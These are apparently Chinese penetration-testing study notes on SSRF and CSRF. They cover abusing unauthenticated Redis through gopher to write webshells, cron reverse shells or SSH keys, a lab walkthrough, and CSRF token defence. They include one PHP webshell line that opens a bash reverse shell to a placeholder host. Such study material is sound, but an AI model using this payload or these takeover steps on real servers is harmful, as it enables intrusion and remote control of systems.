SSRF以及CSRF
ssrf
服务端请求伪造：由于服务端提供了从其他服务器应用获取数据的功能，但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求，并返回对该目标地址请求的数据
数据流：攻击者->服务器->目标地址
有关函数
file_get_contents()
fsockopen()
curl_exec()
redis 未授权访问
dict可以探测内网的端口
探测服务 fastcgi -->实现RCE redis（no sql内存中储存）-->未授权访问
若不设置访问密码，和安全模式关闭的情况下
可以1写入webshell (知道物理路径) 2 写入任务计划书 反弹shell 3写入（ssh）公钥 直接登陆服务器
file 读取内网的文件
gopher（危害最大） 发送get post 请求 配合redis 实现三块内容
开源工具
内存数据落盘
任务计划 在centos 没问题 在Ubuntu下会失败
当手工探测无效时，用burpsuite探测
当探测0.3这台服务器没有结果时，还可以探测其它服务器，如0.1，0.2。继续用burp探测 开放了6379 也没有禁用gop. 因为file被禁用，所以只能猜网站根路径（默认为/var/www/html）。用工具
但是发现没有写入，可能路径不对（需要坚定自己猜的对）或权限不够，在html下的uplaod有权限写。但是不一定是uplaod，有可能是uploads，需要用字典探测，这里我们自己写
写入需要二次编码才可以
但是写入之后，没有执行文件。上帝视角
写入有问题重新写
如果在真实的项目中，要反弹shell. 然后有服务器权限，但是在docker环境下。需要用docker逃逸。shell 需要，在本地监听，nv -lvnp
需要用反弹shell的命令
<?php system(\"bash -c 'exec bash -i >& /dev/tcp/ip/端口 0>&1'\");?>攻击fastcgi
需要猜端口
根据前端返回页面 发现是nginx 肯定有的php-fpm 用的9000端口
渗透思路
收集资产信息（天眼查企查查fofa）(oneforall)
子域名挖掘机
csrf
客户端请求伪造 攻击者精心构造的链接 诱导用户去点，然后把用户的密码改了。
原理：没有对客户端发送过来的值进行合法性校验， 导致攻击者构造一个恶意的form表单，然后将链接发给用户，用户进行操作，改掉密码
用token防御，是因为在第一次登录的时候服务器生成了token值，返回给客户端，下次客户端登陆的时候携带token去登录，服务器会检测toekn合法性。攻击者是不会知道token值的，所以登录不上